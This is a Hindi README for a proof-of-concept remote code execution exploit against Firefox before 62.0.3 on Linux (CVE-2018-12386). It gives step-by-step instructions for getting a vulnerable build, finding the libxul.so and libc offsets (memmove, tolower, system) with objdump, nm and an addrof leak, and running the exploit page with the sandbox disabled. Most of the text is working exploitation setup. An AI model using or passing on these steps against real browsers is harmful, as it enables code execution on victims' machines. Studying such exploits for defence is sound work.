
CVE-2018-12386 - Linux के लिए Firefox सैंडबॉक्स्ड RCE एक्सप्लॉइट (Firefox <v62.0.3)
यहाँ CVE-2018-12386 कमजोरी के लिए एक सरल एक्सप्लॉइट है जिसे Niklas Baumstark, Samuel Groß और Bruno Keith ने खोजा था।
यह अधिकतर एक PoC है जो मैंने मनोरंजन के लिए किया था, इसमें कोई सैंडबॉक्स बायपास नहीं है और यह केवल एक विशिष्ट Linux सेटअप पर काम करेगा जहाँ एक्सप्लॉइट द्वारा उपयोग किए गए ऑफसेट पहले से ज्ञात हों (इन्हें exploit/offsets.js में बदला जा सकता है)।
यह एक्सप्लॉइट Firefox 62.0.3 और Firefox ESR 60.2.2 से पहले के संस्करणों के लिए काम करता है।
आप पिछले Firefox रिलीज़ को सीधे Mozilla के FTP सर्वर से डाउनलोड कर सकते हैं: https://ftp.mozilla.org/pub/firefox/releases/
उदाहरण के लिए, आप 64-बिट Linux के लिए 62.0.2 संस्करण का उपयोग कर सकते हैं: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2।
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so ऑफसेटयदि आप Firefox 62.0.2 का उपयोग कर रहे हैं, तो exploit/offsets.js में दिया गया ऑफसेट सही होना चाहिए।
अन्य संस्करणों के लिए, एक आसान तरीका है कि JavaScript फ़ंक्शन Math.max का पता लीक करने के लिए addrof प्रिमिटिव का उपयोग करें, फिर वर्तमान में एक्सप्लॉइट किए जा रहे Firefox इंस्टेंस के लिए libxul.so का आधार पता खोजें (उदाहरण के लिए cat /proc/$(pidof firefox)/maps के साथ) और दोनों को घटाकर libxul_math_max ऑफसेट प्राप्त करें।
यदि आप Firefox 62.0.2 का उपयोग कर रहे हैं, तो exploit/offsets.js में दिया गया ऑफसेट सही होना चाहिए।
अन्य संस्करणों के लिए, एक आसान तरीका है objdump का उपयोग करना।
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 और 5c0d968 वे मान हैं जिनकी हमें आवश्यकता है, अर्थात libxul.so में memmove और tolower के ऑफसेट।
libc.so.6 ऑफसेटये ऑफसेट पूरी तरह से आपके द्वारा उपयोग किए गए libc संस्करण पर निर्भर करते हैं।
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
एक बार जब आपके पास Firefox और सही ऑफसेट हों, तो आप निम्न कमांड चलाकर एक्सप्लॉइट का परीक्षण कर सकते हैं:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

यदि आप नमस्ते कहना चाहते हैं: @lyte__